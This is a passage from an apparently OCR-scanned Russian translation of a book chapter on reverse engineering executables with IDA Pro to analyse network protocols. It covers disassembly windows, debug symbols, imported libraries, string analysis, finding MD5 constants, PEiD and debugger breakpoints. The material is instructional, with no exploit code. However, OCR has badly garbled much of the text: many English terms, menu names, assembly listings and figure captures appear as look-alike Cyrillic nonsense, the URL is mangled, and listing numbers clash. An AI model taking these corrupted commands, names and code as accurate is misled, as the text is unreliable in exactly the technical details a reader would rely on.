ся окно Гоа4 а пем Ше (Загрузить новый файл) (рис. 6.5). В этом окне 
отображается несколько параметров, но большинство из них предна- 
значены для опытных пользователей; вам нужно обратить внимание 
только на важные параметры. Первый параметр позволяет выбрать ис- 
полняемый формат, который вы хотите проверить ®. По умолчанию на 
рисунке переносимый исполняемый файл обычно является правиль- 
ным выбором, но всегда лучше проверить. Тип процессора Ө опреде- 
ляет архитектуру процессора по умолчанию, т.е.х86. Данный параметр 
особенно важен, когда вы дизассемблируете двоичные данные для нео- 
бычных архитектур. Убедившись, что выбранные вами параметры вер- 
ны, нажмите ОК, чтобы приступить к дизассемблированию. 


[ога Ме сһаіѕегуег 


РонаЫе ехесшаЫе Гог 80386 (РЕ) [реа 
М5-005 ехесшаЫе (ЕХЕ) [902.19] 
Віпагу Не 


Ргосеззог ре 
1те! 80х86 ргосеззог: пеарс у бе! | 


А Апајузі 
Гоаапа зедтепі м ЕһаЫед 


Г оадтд ойзе! Іпаїсаќог епаЫе9 


Оріом= 
ІМ) Стеаіе зедтепіс Кетпе! оріот1 
Г оад гезочгсез 


Аепате ОШ епшез - 
Мапиаоа9 Кеге! орНопз2 


РИ зедтепі дарз 
Маке ітройз зедтен! Ртосеззог оріоп= 
Стеае РЫАТ огоцр и фа = РЗ 


Зужет ОШ бгесіогу С\№ИМ00\5 


ок Сапсеі | | Рис. 6.5. Параметры 
загрузки нового файла 
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Выбор первого и второго параметров будет зависеть от исполняе- 
мого файла, который вы пытаетесь дизассемблировать. В этом приме- 
ре мы дизассемблируем исполняемый файл Міпаоуѕ, использующий 
формат РЕ с процессором с архитектурой х86. На других платформах, 
таких как тасО$ или ШМпих, нужно будет выбрать соответствующие 
параметры. ІрА приложит все усилия, чтобы определить необходи- 
мый формат для дизассемблирования вашей цели, поэтому обычно 
вам не придется выбирать. В ходе дизассемблирования он сделает 
все возможное, чтобы найти весь исполняемый код, аннотировать 
декомпилированные функции и данные, а также определить пере- 
крестные ссылки между областями дизассемблирования. 

По умолчанию ША пытается предоставить аннотации для имен 
переменных и параметров функции, если они ему известны, напри- 
мер при вызове распространенных АРІ-функций. Для перекрестных 
ссылок ІРА найдет места, где есть ссылки на данные и код: их можно 
найти во время обратной разработки, в чем вы скоро убедитесь. Диз- 
ассемблирование может занять много времени. Когда процесс будет 
завершен, у вас должен быть доступ к основному интерфейсу ГРА, как 
показано на рис. 6.6. 


АЮ Еа тр Ѕеагсһ \ем Оебиддег Оріопз МИпдом$ Нар 

[--- вв @ [1 [= У] 141 = + х1авшіг а 
аФ| аа Аа 5 ла [а ен | эт ве | ве| 
Е ОД АСАД САУС АРЕНДЕ: |АТАЖ 
ање или 


міз Ш И. 4| 


[Е Нен\ИенлА | 38 Енромг | 8 1троке | М. Матег [ УЯ] Еилевопе | "=" айпсг | Д Єнисшег | Е Евите] 


РА Мем-А (все) а58) | М Мате мипаом [= 1] 
ГЕ Мате ^ 
Е зәп 
Е \ЅАЅ1айир 
риб1іс ѕбаке Е зоскеї 
ъгагЕ ркос пеам Е һоп 
Е пе гааг 
уа“ 38= йшока рек -38һ Е Бпа 
уаг_1С= шока рек -1Сћ < 


пе 1 оѓ 220 


ѕиЬ еѕр, 1Сһ 

поу [еѕр+1Сһ+џағ_1С], 1 Г 

са11 95: зе арр_%уре = Ѕітіпоѕ міпаом [= [Е] 
са11 ѕиь_ 181188 
Е езі; [е51+0] Аайезг Тело 

1еа еді, [ейі+0] "9 4880. 00000013 
ѕир еѕр, 1Сһ \.. 00000016. 
поу [еѕр+38һ+џак_38], 2 .. 0000000Е. 
са11 05:__ ѕеі арр іџре 

са11 ѕиь 301180 ен 
1еа еѕі, [еѕі+0] А 
1еа ейі, [е91+0] гай 00000004 
ЅіаеЕ епӣр 
100.00% (-289,-2) (203,2) 00000970 00401570: маи: 


Сотр11іпо Ге "С: \Ргодгал Ғ11еѕ (х86)\ТОА Ғгее\іїос\ійа.їйс'... 
‘тали’... 
Етоогаи Р11е5 (х86)\ІрА Ғгее\ійс\оп1ога. ідс'... 
Гоа 


АЦЕ їаїе Ооу Гек: 6468 


Рис. 6.6. Основной интерфейс ІрА Рго 


В главном интерфейсе ІРА есть три важных окна, которым следует 
уделить внимание. Окно Ө - это представление дизассемблирования 
по умолчанию. В этом примере оно показывает графическое представ- 
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ление ІРА Рго, которое часто является очень полезным способом про- 
смотра последовательности выполнения отдельной функции. Чтобы 
отобразить представление, показывающее дизассемблирование в ли- 
нейном формате на основе загрузки адреса инструкций, нажмите 
клавишу пробела. Окно ® показывает статус процесса дизассембли- 
рования, а также все ошибки, которые могут возникнуть при попытке 
выполнить в ІрА операцию, которую он не понимает. Вкладки откры- 
тых окон отмечены на рисунке цифрой ®. 

Можно открыть дополнительные окна, выбрав \1 ем > Ореп ѕир- 
уіемѕ. Вот несколько окон, которые вам почти наверняка понадобят- 
ся, и описание того, что на них показано: 


• ША Уіеу – показывает процесс дизассемблирования исполняе- 
мого файла; 

• Ехрогіѕ – отображает все функции, экспортируемые исполняе- 
мым файлом; 


е Птрогіѕ — показывает все функции, динамически скомпонован- 
ные в этот исполняемый файл во время выполнения; 


• РипсНоп$ – показывает список всех функций, определенных ША 
Рго; 


® 5115$ – показывает список печатаемых строк, определенных 
ІРА Рто во время анализа. 


Из пяти перечисленных типов окон последние четыре в основном 
представляют собой просто списки информации. ША Уіеуг – это то 
место, где вы проводите большую часть своего времени, занимаясь 
обратной разработкой, потому что оно показывает дизассемблиро- 
ванный код. Вы можете легко перемещаться по дизассемблированно- 
му коду в ША Уіеу. Например, дважды щелкните что-либо, похожее 
на имя функции или ссылку на данные, чтобы автоматически пере- 
йти к месту нахождения ссылки. Этот метод особенно полезен, когда 
вы анализируете вызовы других функций: например, если вы видите 
САН: ѕиБ 400100, просто дважды щелкните ѕ0Ь 400100, чтобы перей- 
ти непосредственно к функции. Чтобы перейти к исходному вызову, 
нажмите клавишу Е$С или кнопку возврата, выделенную на рис. 6.7. 


Ее Ед Јитр Ѕеагсһ Мем Оериддє 


ЕЗІ ~- | № вв! 8 
авф ао АФ, 
Е 
Ш: 


Ел || Е 001 0и ину м М х] 
Рис. 6.7. Кнопка возврата для окна 
е) 5. 
Е | 8 е % | Ё АА дизассемблирования в РА Рго 


Фактически в окне дизассемблирования можно перемещатьсявзад 
и вперед в окне дизассемблирования, как в веб-браузере. Когда вы 
найдете ссылочную строку в тексте, переместите текстовый курсор на 
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ссылку и нажмите Х или щелкните правой кнопкой мыши и выберите 
Јитр їо хгеЁ їо орегапа (Перейти к внешней ссылке на операнд), что- 
бы открыть диалоговое окно перекрестной ссылки, в котором отобра- 
жается список всех мест в исполняемом файле, ссылающихся на эту 
функцию или значение данных. Дважды щелкните по записи, чтобы 
перейти непосредственно к ссылке в окне дизассемблирования. 


По умолчанию ІРА автоматически генерирует имена 
для значений, на которые имеются ссылки. Например, функиии называ- 
ются ѕир ХХХХ, где ХХХХ - их адрес в памяти; имя Іос ХХХХ указы- 
вает местоположения ветвей в текушей функции или местоположения, 
которые не содержатся в функции. Возможно, эти имена не помогут 
вам понять, что выполняется дизассемблирование, но вы можете пе- 
реименовать эти ссылки, чтобы сделать их более значимыми. Чтобы 
переименовать их, переместите курсор к тексту ссылки и нажмите 
М или щелкните правой кнопкой мыши и выберите в меню пункт Ве- 
пате (Переименовать). Изменения имени должны примениться везде, 
где есть ссылки. 


Анализ переменных и аргументов стека 


Еще одна функция в окне дизассемблирования ІРА - это анализ пе- 
ременных и аргументов стека. Когда мы обсуждали соглашения о вы- 
зовах в разделе «Двоичный интерфейс приложений», я указал на то, 
что параметры обычно передаются в стек, но в стеке также хранятся 
временные локальные переменные, используемые функциями для 
хранения важных значений, которые не помещаются в доступные 
регистры. ГРА Рго проанализирует функцию и определит, сколько ар- 
гументов она принимает и какие локальные переменные использует. 
На рис. 6.8 эти переменные показаны в начале дизассемблированной 
функции, а также несколько инструкций, которые их используют. 


_паіп ркос пеак ; СОрЕ ХВЕЕ: 546 #01180+28ЕТр 
уа“ 189 = йџока рё“ -10ћ 
цак с = аџока рег -0сћ Локальные переменные 
ағд _8 = аџоғка рек 8 П 
ад в = дмоға рее 8сһ ереданные аргументы 
риѕћ ебр 
поу ебр, еѕр 
апа еѕр, ВҒЕҒЕЕЕЕЕ ОП 
546 еѕр, 101 
са11 ѕиь 309630 
поу еах, [ерр+акд 5] 
поу [еѕ=р+10һ+уак С], еах 
тоу вах, [ерр+акд 8] Использование стека 
поу [еѕ=р+10һ+џа“ 10], еах 
са11 ѕир 381601 
сесі а1, а1 


Рис. 6.8. Дизассемблированная функция, показывающая локальные переменные 
и аргументы 
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Можно переименовать эти локальные переменные и аргументы 
и просмотреть все их перекрестные ссылки, но перекрестные ссылки 
для локальных переменных и аргументов останутся в той же функции. 


Определение ключевой функциональности 


Затем нужно определить, где исполняемый файл, который вы диз- 
ассемблируете, обрабатывает сетевой протокол. Самый простой спо- 
соб сделать это – по очереди проверить все части исполняемого файла 
и определить, что они делают. Но если вы имеете дело с крупным ком- 
мерческим продуктом, то такой метод очень неэффективен. Вместо 
этого вам понадобится способ быстро определить функциональные 
области для дальнейшего анализа. В этом разделе я рассмотрю четы- 
ре типичных подхода, включая извлечение символьной информации, 
поиск библиотек, импортированных в исполняемый файл, анализ 
строк и определение автоматического кода. 


Извлечение символьной информации 


Компиляция исходного кода в нативный исполняемый файл - это 
процесс, сопряженный с потерями, особенно когда код включа- 
ет в себя символьную информацию, такую как имена переменных 
и функций или форма структур в памяти. Поскольку эта информа- 
ция редко требуется для правильной работы исполняемого файла, 
при компиляции она может просто быть отброшена. Но удаление 
этой информации очень затрудняет отладку проблем во встроенном 
исполняемом файле. 

Все компиляторы поддерживают возможность преобразования сим- 
вольной информации и генерируют отладочные символы с информаци- 
ей о строке первоначального исходного кода, связанной с инструкцией 
в памяти, а также с информацией о типе функций и переменных. Од- 
нако разработчики редко оставляют отладочные символы намеренно, 
предпочитая удалять их перед публичным выпуском, чтобы никто не 
увидел их секреты (или плохой код). Тем не менее иногда разработчики 
ошибаются, и вы можете воспользоваться этими промахами. 

ІРА Рто загружает отладочные символы автоматически, когда это 
возможно, но иногда вам придется искать их самостоятельно. Да- 
вайте посмотрим на отладочные символы, используемые МЙпдомхз, 
тасОѕ и Шпих, а также на то, где хранится символьная информация 
и как заставить ІА правильно загрузить ее. 

Когда исполняемый файл Міпӣомѕ создается с использованием 
обычных компиляторов (таких как М1сгозой У\1зиа1 С++), информация 
об отладочных символах не сохраняется внутри исполняемого фай- 
ла; она хранится в сегменте исполняемого файла, который указыва- 
ет расположение файла (РОВ) базы данных программы. Фактически 
в нем хранится вся отладочная информация. Отделение отладочных 
символов от исполняемого файла позволяет легко распространять ис- 
полняемый файл без отладочной информации, делая ее легкодоступ- 
ной для отладки. 
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Файлы РОВ редко распространяются с исполняемыми файлами, по 
крайней мере в программном обеспечении с закрытым исходным ко- 
дом. Но есть одно очень важное исключение - это Мисгозой Міпаомгѕ. 
Чтобы облегчить отладку, Місгоѕоќ выпускает общедоступные сим- 
волы для большинства исполняемых файлов, установленных в Міп- 
аомѕ, включая ядро. Хотя эти файлы не содержат всей отладочной 
информации из процесса компиляции (М1сгозой удаляет информа- 
цию, которую не хочет делать общедоступной, например подробную 
информацию о типе), файлы по-прежнему содержат большую часть 
имен функций, а это часто то, что вам и нужно. В результате при об- 
ратной разработке исполняемых файлов Міпӣоуѕ ША Рго должна 
автоматически найти символьный файл на общедоступном сервере 
символов МісгоѕоЁ и обработать его. Если у вас есть символьный файл 
(потому что он идет с исполняемым файлом), загрузите его, поместив 
его рядом с исполняемым файлом в каталоге, а затем запустите ША 
Рго, чтобы дизассемблировать исполняемый файл. Вы также можете 
загрузить файлы РОВ после первоначального дизассемблирования, 
выбрав Ее > Іоаа ЕПе > РОВ ЕПе. 

Отладочные символы наиболее важны при обратной разработ- 
ке в ША Рго при именовании функций в окнах дизассемблирования 
и ЕипсНоп$ (Функции). Если символы также содержат информацию 
отипе, вы должны увидеть аннотации для вызовов функций, которые 
указывают типы параметров, как показано на рис. 6.9. 


|- сехЕ: 08049749 ^ 
-Бехе:08849749 ; у ЗОВВООТТЕ НН 
Сех: 08 949749 

„Еехе:08049749 ; АСЕеірибеѕ: Бр-баѕей Ғкапе 

Сех: 08039749 

Сех :080397л9 рир1іс паіп 

„ЕехЕ: 08 9049749 паіп ркос пеак ; АТА ХВЕЕ: _5ак{+17То 

Сех: 0803979 

„Сех :08039749 џа” 16 
„бехе: 08039739 цак_С 
„ТехЕ:08049749 ағд 0 


Фока рег -18һ 
Яџока рее Всп 
дога рее 8 

дџока рё есп 


ИИИ) 


„Сех :08 049749 ағд 5 
„ех :08 049749 


* Бех: 08049749 риѕћ ебр 
* „сех: 080397ла поу ебр, еѕр 
* сех: 6803975 апӣ еѕр, ВЕҒЕЕҒЕЕ Әһ 
* сех: 0803975Ғ ЕТІ) еѕр, 10һ 
* Сех: 08049752 поо еах, [ебр+амд 5] 
* ех: 08049755 поо [еѕр+18һ+џак С], еах 
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* вехі: 08049766 32 ПогЕ 10с 803976Е 
* сех :08039768 са11 сһаёѕерџег : :гип_секуек (у014) 
* 1 сехі: 08039760 јпр ЅһокЕ 10с 803977С 
«ехе ТА р о ЕЙ 
Сех: 098 94976Е 
-Бехі:0803976Е 10с_804976Е : ; СОБЕ ХВЕЕ: паіп+10їј 
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* .ЕехЕ: 08049777 са11 спаЕзекуек : :ре1пЕ _пе1р(свак сопѕеж*) 
„Бех: 08 04977С 
 Сехі:0803977С 10с 803977С: ; СОЕ ХВЕЕ: паіп+241ј 
?* сех: 08 94977С поу еах, 8 
* ехе: 08039781 1еауе 
* сех: 08049782 кеп 
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Рис. 6.9. Дизассемблирование с отладочными символами 
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Даже без РОВ-файла можно получить доступ к символьной инфор- 
мации из исполняемого файла. Например, динамические библиотеки 
должны экспортировать функции для использования в другом испол- 
няемом файле: этот экспорт предоставит базовую символьную инфор- 
мацию, включая имена внешних функций. Используя ее, можно найти 
то, что вам нужно в окне Ехрогіѕ. На рис. 6.10 показано, как будет вы- 
глядеть эта информация для сетевой библиотеки Міпӣомѕ у52 32.1. 


2 =. НЕЕ хо 
Мате Аайез= Отата! а 
Е: \марОваеМотЕ5Напебиррой 42781200 161 
Е: \марЕпаеМот Е Нап 4ебиррой 47781371 162 
Е: \мгарЕ пиглегаеН ап еСотех 4Е788ЕБС 163 
Е: \маНизейН ап еСоте» 42789029 164 
Е: \а/ Мон А&Ргосеззез 47794761 165 
Е: \уа/ОрепёрсНаерег 4Р786093 166 
Е: \уа/ОрепСипей  геад 4Р783163 167 
Е: \“а/ОрепНапеНерег 4Е7В1АЕБ 168 
% \маһОрепоіһсаіопНапдіеНеірег 4793261 169 
% \маһбиецеЏѕегёрс 4Р7В0994 170 
% \марАеегепсеСотехВуНаи4е 42782009 171 
% \марАетоуеНат еСотех! 4Р7831Е3 172 
№ \ааҝҒогҸойһсайот 47793330 173 
№ ^аме РЕ мег! 4793409 174 
№ ігееабаппѓо 4Р7ВАБЕБ 175 
% деіадагіпѓо 4Р790ЕАЗ 176 
№ деіпагеіпіо 4787284 177 
8 теі пор 4ҒТААТВ9Ә 178 
8 теі ріоп 4Ғ7А4222 179 
В ЕР 4Е 798977 500 
Е ОЕ пітуРоіпі 42781001 м 
Опе 181 о# 181 


Рис. 6.10. Экспорт из библиотеки у52 32.411 


Отладочные символы работают аналогичным образом и в тасО$, 
за исключением того, что отладочная информация содержится в па- 
кете отладочных символов (45УМ), который создается вместе с ис- 
полняемым файлом, а не в отдельном файле РОВ. Пакет 15ҮМ - это 
отдельный каталог пакетов тасО5, который редко распространяет- 
ся с коммерческими приложениями. Однако исполняемый формат 
Масһ-О может хранить в исполняемом файле базовую символьную 
информацию, такую как имена функций и переменных. Разработчик 
может запустить инструмент под названием $їгір, который удалит 
всю эту информацию из двоичного файла Масһ-О. Если он не запус- 
кает 51р, то двоичный файл Масһ-О может по-прежнему содержать 
полезную символьную информацию для обратной разработки. 

В Шпих исполняемые файлы ЕГЕ объединяют все отладочную 
и другую символьную информацию в один исполняемый файл, по- 
мещая отладочную информацию в отдельный сегмент файла. Как 
и в случае с тасО5, единственный способ удалить ее – использовать 
(р; если разработчик не сделал этого до релиза, то, возможно, вам 
повезло. (Конечно, у вас будет доступ к исходному коду большинства 
программ, работающих в пих.) 
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Просмотр импортированных библиотек 


В операционной системе общего назначения вызовы сетевых АРІ- 
интерфейсов вряд ли будут встроены непосредственно в исполняе- 
мый файл. Вместо этого функции будут динамически скомпонованы 
во время выполнения. Чтобы определить, что исполняемый файл им- 
портируется динамически, просмотрите окно Ітрогїѕ в ІРА Ро, как 
показано на рис. 6.11. 


А99гез$ Огфиа! Мате я ПБау 


ЕУ 0040Е2... \убА5іайир №2 _32 
Е О040Е2Е0 _М/ЅАЕОІзбеі м2 32 
СЕ 0040Е2Е4 ассері и52_32 
Е 0040Е2Е8 Ыта м2 32 
СЕ 0040Е2... сіозеѕоскей м2_32 
СЕ 0040Е300 оп и52_32 


Е 0040Е 304 іме!_адаг №52 32 
СЕ 0040Е308 Реп м2_32 
СЕ 0040Е3... тон 52 32 
СЕ 0040Е310 гесу 232 
СЕ 0040Е314 ѕејесі 232 
СЕ 0040Е318 ѕепі 232 
СЕ 0040Е3... зоске! и52_32 


пе 70 оѓ 91 


Рис. 6.11. Окно Ітрогіѕ 


На рисунке представлены различные сетевые АРІ, импортирован- 
ные из библиотеки №52 32.111, которая представляет собой реализа- 
цию сокетов В$р для Міпаомѕ. Если дважды щелкнуть по записи, то 
можно увидеть импорт в окне дизассемблирования. Там вы можете 
найти ссылки на эту функцию, используя ІА Рго для отображения 
перекрестных ссылок на этот адрес. 

Помимо сетевых функций, также можно увидеть, что были им- 
портированы различные криптографические библиотеки. Следуя 
по этим ссылкам, вы узнаете, где в исполняемом файле использует- 
ся шифрование. Используя эту информацию, вы сможете вернуться 
к исходной вызываемой функции, чтобы узнать, как она использо- 
валась. Распространенные библиотеки шифрования включают в себя 
Ореп851 и Сгуріз2.а11. 


Анализируя строки 


Большинство приложений содержат строки с печатаемой текстовой 
информацией, напримертекст для отображения во время выполнения 
приложения, текст для журналирования или текст, оставшийся после 
процесса отладки, который не используется. Текст, особенно внутрен- 
няя отладочная информация, может намекнуть на то, что делает диз- 
ассемблированная функция. В зависимости от того, как разработчик 
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добавил отладочную информацию, вы можете найти имя функции, 
файл с исходным кодом С или даже номер строки в исходном коде, где 
была выведена строка отладки. (Большинство компиляторов С и С++ 
поддерживают синтаксис для встраивания этих значений в строку во 
время компиляции.) 

ТА Рго пытается найти печатаемые текстовые строки в рамках 
процесса анализа. Чтобы отобразить их, откройте окно Ѕїігіпеѕ (Стро- 
ки). Щелкните по интересующей вас строке - и увидите ее определе- 
ние. Затем можно попытаться найти ссылки на строку, которая позво- 
лит вам вернуться к связанным с ней функциям. 

Анализ строк также полезен для определения того, с какими биб- 
лиотеками был статически связан исполняемый файл. Например, 
библиотека сжатия 711 обычно статически связана, и связанный ис- 
полняемый файл всегда должен содержать следующую строку (номер 
версии может отличаться): 


іп абе 1.2.8 Соругідһё 1995-2013 Магк АЖег 


Быстро обнаружив, какие библиотеки включены в исполняемый 
файл, можно с успехом определить структуру протокола. 


Определение автоматизированного кода 


Определенные типы функций поддаются автоматической идентифи- 
кации. Например, алгоритмы шифрования обычно имеют несколько 
магических констант (числа, определенные алгоритмом, которые 
выбираются для конкретных математических свойств) как часть ал- 
горитма. Если вы найдете эти константы в исполняемом файле, то бу- 
дете знать, что конкретный алгоритм шифрования, по крайней мере, 
был скомпилирован в исполняемый файл (хотя он не обязательно ис- 
пользуется). Например, в листинге 6.5 показана инициализация алго- 
ритма хеширования МР5, который использует значения магических 
констант. 


Листинг 6.3. Инициализация МР5 с магическими константами 


уоіа ті5 іпіЁ( п95_сопеехЕе *сёх ) 


{ 
сіх->5#аёе[0] = 0х67452301; 
сіх->ѕЁёаёе[1] = ОхЕЕСрАВ89; 
сіх->5#аёе[2] = 0х98ВАРСЕЕ; 
сіх->5#аёе[3] = 0х10325476; 
} 


Вооружившись знаниями алгоритма МР5, можно искать этот код 
инициализации в ІрА Рго, выбрав окно дизассемблирования и Ѕеагсһ 
> Пите 1 ае. Выполните все необходимые действия, как показано на 
рис. 6.12, и нажмите ОК. 
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Ѕеагсһ Ітгтедіаїе ЕЗ 


Тһіз соттапа зеагсНез Гог ће зресйед 
мајџе іп ће іпзітисіоп орегапаз 
апа даа ќегпх. 


Маме (о зеагсћ 067452301 м 


Апу циуред маме 


Рид а оссипеисез 


| Сапсеі Нер Рис. 6.12. Поле поиска РА Рго 
для константы М5 


При наличии МО5 в ходе поиска должен отобразиться список мест, 
где найдено это уникальное значение. Затем можно перейти в окно 
дизассемблирования, чтобы попытаться определить, какой код приме- 
няет это значение. Вы можете использовать этот метод с алгоритмами, 
такими как алгоритм шифрования АЕ$, который использует специаль- 
ные структуры - 5-блоки, содержащие похожие магические константы. 

Однако поиск алгоритмов с помощью ІРА Рго может занять мно- 
го времени и привести к ошибкам. Например, во время поиска на 
рис. 6.12, кроме МБ5, у вас также появится ЗНА-1, который приме- 
няет те же четыре магические константы (и добавляет пятую). К сча- 
стью, есть инструменты, которые могут выполнить этот поиск за вас. 
Например, РЕШ (доступен на странице И#р5//миии.5ойреа!а.сот/деи/ 
Ргодгаттіпд/Раскегѕ-Сгуріегѕ-Ргоїесїогѕ/РЕіР-ирааїеа.ѕ$һіт) определяет, 
упакован ли файл Үіпӣоуѕ РЕ с помощью известного инструмента 
упаковки, такого как ОРХ. Он включает в себя несколько плагинов, 
один из которых обнаруживает потенциальные алгоритмы шифро- 
вания и указывает, где в исполняемом файле они упоминаются. 

Чтобы использовать РЕШ для обнаружения криптографических 
алгоритмов, запустите его и щелкните верхнюю правую кнопку... 
для выбора исполняемого файла РЕ для анализа. После этого запус- 
тите плагин, нажав кнопку в правом нижнем углу и выбрав Р!а®й1$ 
э Кгурїіо Апаутег. Если исполняемый файл содержит какие-либо 
криптографические алгоритмы, то плагин должен идентифициро- 
вать их и отобразить диалоговое окно, похожее на то, что показано на 
рис. 6.13. Затем вы можете ввести указанное значение адреса ® в ІрА 
Рго для анализа результатов. 


Динамический обратный инжиниринг 


Динамический обратный инжиниринг – это проверка работы запу- 
щенного исполняемого файла. Данный метод особенно полезен при 
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анализе сложных функций, таких как пользовательская криптогра- 
фия или процедуры сжатия. Причина состоит в том, что вместо того, 
чтобы изучать дизассемблирование сложных функций, вы можете 
выполнять ее по одной инструкции за раз. Динамический обратный 
инжиниринг также дает возможность проверить, как вы понимаете 
код, позволяя вводить входные тестовые данные. 


ка КАМАЕ \2.92 - б 


Ее | С:\зоигсесоде\УБегМевмогкТоо\Вееазе\ИБег 


Й м05 :: 000004АА :: 0040 10АА ЮП ИИ 


| АБоце а] Г `Ехроп.... | Сіоѕе | 


МО5 їгапзѓогт ("сотргезз") сопзЕапЕз 


Рис. 6.13. Результат анализа 
алгоритма шифрования РЕД 


Самый распространенный способ выполнения динамического об- 
ратного инжиниринга - использовать отладчик, чтобы останавли- 
вать запущенное приложение в определенных точках и проверять 
значения данных. Хотя на выбор доступны несколько программ от- 
ладки, мы будем использовать ІРА Рго, который содержит базовый 
отладчик для приложений Міпаомѕ и синхронизируется между ста- 
тическим и отладочным представлениями. Например, если переиме- 
новать функцию в отладчике, это изменение будет отражено в стати- 
ческом представлении. 


ИРТА Хотя в следующем обсуждении я использую ІРА Рго для 
Ийпаом/$, основные методы применимы и к другим операционным систе- 
мам и отладчикам. 


Чтобы запустить дизассемблированный исполняемый файл в от- 
ладчике ГРА Рго, нажмите клавишу Е9. Если исполняемому файлу тре- 
буются аргументы командной строки, добавьте их, выбрав Оефиэеег 
э Ргосез$ ОрНоп$, и заполните текстовое поле Рагатеег$ в открыв- 
шемся диалоговом окне. Чтобы остановить отладку запущенного про- 
цесса, нажмите сочетание клавиш СЕЙ-+Е2. 


Установка точек останова 


Самый простой способ использовать возможности отладчика - уста- 
новить точки останова в интересующих вас местах дизассемблиро- 
ванного кода, а затем проверить состояние запущенной программы 
в этих точках. Чтобы установить точку останова, найдите интересую- 
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щую вас область и нажмите клавишу Е2. Строка дизассемблирования 
должна стать красной. Это указывает на то, что точка останова была 
установлена правильно. Теперь, когда программа попытается выпол- 
нить инструкции в этой точке останова, отладчик должен остановить- 
ся и предоставить вам доступ к текущему состоянию программы. 


Отладчик И/таом/$ 


По умолчанию отладчик ТА Рго показывает три важных окна, когда 
отладчик достигает точки останова. 


Окно ИР 


В первом окне отображается вид дизассемблированного кода в соот- 
ветствии с инструкциями в регистре ЕТР, где показана выполняемая 
в данный момент инструкция (рис. 6.14). Это окно работает так же, 
как окно дизассемблирования при выполнении статического обрат- 
ного инжиниринга. Вы можете быстро перейти от этого окна к дру- 
гим функциям и переименовать ссылки (которые отражены в стати- 
ческом дизассемблированном коде). Если навести указатель мыши на 
регистр, то можно увидеть предварительный просмотр значения. Что 
очень полезно, если регистр указывает на адрес памяти. 


Е ІРА Мем-НР = 38 
* „Сех: 00501С06 поу ех, [ебр+уа“ 34] ^ 
° сех: 80»01С09 поч [еѕр+лҒ дһ+уак“_лЕ8], ейх 
° -ЕехЕ:00401С00 1еа едх, [ебр+уа“ 3С5] 
° „Сех: В05%01СЕЗ тоу [еѕр+лЕ Вһ+џа“_ ЕС], ейх 
° „Сех: В03%01СЕ7 тоу еѕр+лЕҒ Өһ+уа“ 329], еах 
ЕР 5 
* сех: В0љ61СЕЕ 546 еѕр, 10һ 
° „Бех: 00501СЕ2 јр ѕһокЕ 10с_#09101Е 
Е СРУЕВВВТСЕ Е а 
Сех: 680361СЕ5 
Сех: 005љ01СЕ5 10с_#01СЕз: 
?* сех: 60561СЕ5 стр [ебрр+уа“ 35], 6 
° „Бех: 00301СЕ8 јд ѕһокЕ 10с %0101Е 
< > 
000010ЕА 00401СЕА: ѕиЬ 40179Ғ+4ЕВ 


Рис. 6.14. Окно ЕІР 


Окно ЕЅР 


Отладчик также показывает окно ЕЅР, отражающее текущее место- 
положение регистра ЕР, который указывает на базу стека текущего 
потока. Здесь вы можете определить параметры, передаваемые в вы- 
зовы функций, или значение локальных переменных. Например, на 
рис. 6.15 показаны значения стека непосредственно перед вызовом 
функции ѕепӣ. Я выделил четыре параметра. Как и в случае с окном 
ЕІР, вы можете дважды щелкнуть по ссылке, чтобы перейти к этому 
местоположению. 
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ОА Мем/-Е5Р 


902829ЕВ 99 ТЕВ; Ш 

9028Е9ЕЗ аа 28ҒВ98һ ; ЅЕаск[ 900099Е1С] уа“ 350 
9928Е9ЕЗ ; [ВЕБІМ ОҒ ЅТАСК ЕВЯМЕ иб Я617ҒЕ. РВЕ 
0028Р9Е8 чак АЕ 99 оғғѕеё ипк 28ҒЕр8 

0028Ғ9ЕС чак ХЕС 99 

99282970 чак _лЕ8 а |ЗСһ 

00928Ғ9Ел уак“ ХЕХ ЯЯ |оҒҒѕеі уа“ ВСВ 


0028Ғ9Е8 чак ЕВ аа  Всһ 
9928Е9ЕС цаг_в0С 99 
9928Е9 09 
9928 ЕЯбН 
9928Е998 7ЕЕ000008 
9928 ЕЯ 0С 7 


< 
ОМКМОМИМ 0028Р9Е0: Ѕїаск[00000Е1С}:маг 4Е8 


Рис. 6.15. Окно ЕЅР 


Состояние регистров общего назначения 


Окно регистров общего значения по умолчанию показывает текущее 
состояние этих регистров. Напомним, что регистры используются для 
хранения текущих значений различных состояний программ, таких 
как счетчики циклов и адреса памяти. Что касается адресов, то это 
окно обеспечивает удобный способ перехода в окно просмотра памя- 
ти: щелкните по стрелке рядом с адресом, чтобы перейти от послед- 
него активного окна к адресу, соответствующему этому значению 
регистра. 

Чтобы создать новое окно, щелкните по массиву правой кнопкой 
мыши и выберите Јитр іп пем міпӣом (Перейти в новом окне). Вы 
увидите флаги условий из регистра ЕЕГАС$ в правой части окна, как 
показано на рис. 6.16. 


Ф бепега! геев  - 


БАХ 90000036 1. 
евх|вөввввтғъ 
ЕСХ 8828ЕЕЗА 1.„Бсаскгввовоғ1с]:оаг аъ — 
ЕСХ[ 8028Ға1% 1, [5 гаск[00000Ғ1С] :мағ_ АСА 
Е51 |8028ЕВ98/1,[5гаск[ 00000Е1С ] =чаг_3и0 | 
ЕО! | 8028ЕС9С 4 [5 гаск[ 88000 1С] :ча"_236 | 
ЕВР 8028ҒЕР8|1, [5 гаск[ 00000Е1С ] :0ЕЕ 28ЕЕ 
ЕЅР| ВӨ28Ғ9ҒӘ 1, [5 гаск[ 80000 1С] :мағ_АЕВ | 
Ер |08001СЕа 5и аө17ЕғнАЕВ — 


ЕРІ 180000202 Җ мамоаноп Атон 


Рис. 6.16. Окно регистров общего назначения 
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Где установить точки останова? 


Где лучше всего устанавливать точки останова, когда вы исследуете 
сетевой протокол? Для начала неплохо было сделать это для вызовов 
функций ѕепа и гесу, которые отправляют и получают данные из се- 
тевого стека. Криптографические функции также являются хорошей 
целью: можно установить точки останова для функций, которые уста- 
навливают ключ шифрования или функции шифрования и дешиф- 
рования. Поскольку отладчик синхронизируется со статическим ди- 
зассемблером в ГРА Рто, вы также можете установить точки останова 
в областях кода, которые, кажется, создают данные сетевого протоко- 
ла. Выполняя инструкции с точками останова, можно лучше понять, 
как работают лежащие в основе алгоритмы. 


Обратное проектирование управляемого кода 


Не все приложения распространяются как нативные исполняемые 
файлы. Например, приложения, написанные на управляемом коде, 
например .МЕТ и ]ауа, компилируются в промежуточный машинный 
язык, который обычно разрабатывается так, чтобы быть независи- 
мым от ЦП и операционной системы. Когда приложение запускает- 
ся, виртуальная машина или среда выполнения выполняет код. В .МЕТ 
такой язык называется языком СІІ; в Јауа это называется /ауа Буѓе 
сое. 

Эти промежуточные языки содержат значительное количество 
